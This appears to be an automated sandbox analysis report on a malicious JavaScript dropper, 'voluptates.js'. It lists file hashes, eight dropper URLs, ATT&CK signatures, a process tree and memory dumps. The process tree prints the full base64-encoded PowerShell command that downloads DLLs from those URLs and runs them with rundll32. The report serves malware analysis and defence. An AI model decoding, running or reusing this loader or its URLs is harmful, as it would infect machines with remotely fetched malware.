c9060663b2c4577bcdc00eac057148f9ff087c8732a9b479a44a74062ae6dcf7

Analysis

max time kernel
52s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
17-03-2023 16:26

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General

Target

voluptates.js
Size

66KB
MD5

25178faee98f554ca8e8d60c3a4038e7
SHA1

a8f5756397fc927aa5f38a7f2252158136ae8b86
SHA256

a34d104fa2f3913f42fbfff2f603af35c611a7edef490ed02a6d736eb12190dd
SHA512

6225fb953376518f34914e9bfaa463952b8e7507377d4b99588bcca2fb14fa544fe038d96bbcbad938f756bfeeb62f37bbc989c3b99bfe2c7d966218f5b7d46f
SSDEEP

768:N/qeNP+G+1G0pHsHl60LSoX52aNhXLy5/x0RRcr6XrA/X0wEA/kh7tM5DUXNQY74:NCLxP0fkh6RrA/0+kh7tMydb4

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://lamired.com/8FIz2P/1

exe.dropper

https://accesstelematics.com/Ulo3MpM/1

exe.dropper

https://kotogadang-pusako.com/MweGD/1

exe.dropper

https://fondationjoelkrasso.org/rjzgP6/1

exe.dropper

https://dimoparkhogar.com/7VQuf/1

exe.dropper

https://laposadadeugartearequipa.com/NARKhE/1

exe.dropper

https://earnforpak.com/CzIUp/1

exe.dropper

https://cocovedaglobal.com/XBtcjkQ/1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1264	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1264	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 1264	1368	wscript.exe	28
PID 1368 wrote to memory of 1264	1368	wscript.exe	28
PID 1368 wrote to memory of 1264	1368	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\voluptates.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAdQBuAG8AYgBqAGUAYwB0AGkAbwBuAGEAYgBsAGUAbgBlAHMAcwBDAGgAZQBzAHQAZQByAGIAZQBkACAAPQAgACgAIgBoAHQAdABwAHMAOgAvAC8AbABhAG0AaQByAGUAZAAuAGMAbwBtAC8AOABGAEkAegAyAFAALwAxACwAaAB0AHQAcABzADoALwAvAGEAYwBjAGUAcwBzAHQAZQBsAGUAbQBhAHQAaQBjAHMALgBjAG8AbQAvAFUAbABvADMATQBwAE0ALwAxACwAaAB0AHQAcABzADoALwAvAGsAbwB0AG8AZwBhAGQAYQBuAGcALQBwAHUAcwBhAGsAbwAuAGMAbwBtAC8ATQB3AGUARwBEAC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AbgBkAGEAdABpAG8AbgBqAG8AZQBsAGsAcgBhAHMAcwBvAC4AbwByAGcALwByAGoAegBnAFAANgAvADEALABoAHQAdABwAHMAOgAvAC8AZABpAG0AbwBwAGEAcgBrAGgAbwBnAGEAcgAuAGMAbwBtAC8ANwBWAFEAdQBmAC8AMQAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcABvAHMAYQBkAGEAZABlAHUAZwBhAHIAdABlAGEAcgBlAHEAdQBpAHAAYQAuAGMAbwBtAC8ATgBBAFIASwBoAEUALwAxACwAaAB0AHQAcABzADoALwAvAGUAYQByAG4AZgBvAHIAcABhAGsALgBjAG8AbQAvAEMAegBJAFUAcAAvADEALABoAHQAdABwAHMAOgAvAC8AYwBvAGMAbwB2AGUAZABhAGcAbABvAGIAYQBsAC4AYwBvAG0ALwBYAEIAdABjAGoAawBRAC8AMQAiACkALgBzAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAgACgAJABhAHMAdABoAG0AYQB0AGkAYwBzACAAaQBuACAAJAB1AG4AbwBiAGoAZQBjAHQAaQBvAG4AYQBiAGwAZQBuAGUAcwBzAEMAaABlAHMAdABlAHIAYgBlAGQAKQAgAHsAdAByAHkAIAB7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAYQBzAHQAaABtAGEAdABpAGMAcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAUAByAGUAYwBlAGQAZQByAFQAcgBvAHAAbwBjAGEAaQBuAGUALgBkAGwAbAA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAFAAcgBlAGMAZQBkAGUAcgBUAHIAbwBwAG8AYwBhAGkAbgBlAC4AZABsAGwAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAUAByAGUAYwBlAGQAZQByAFQAcgBvAHAAbwBjAGEAaQBuAGUALgBkAGwAbAAsAFgAUwA4ADgAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA=="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1264

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1264-58-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

Filesize
2.9MB

Download
memory/1264-59-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/1264-60-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/1264-61-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/1264-62-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/1264-63-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/1264-64-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/1264-65-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/1264-66-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/1264-67-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download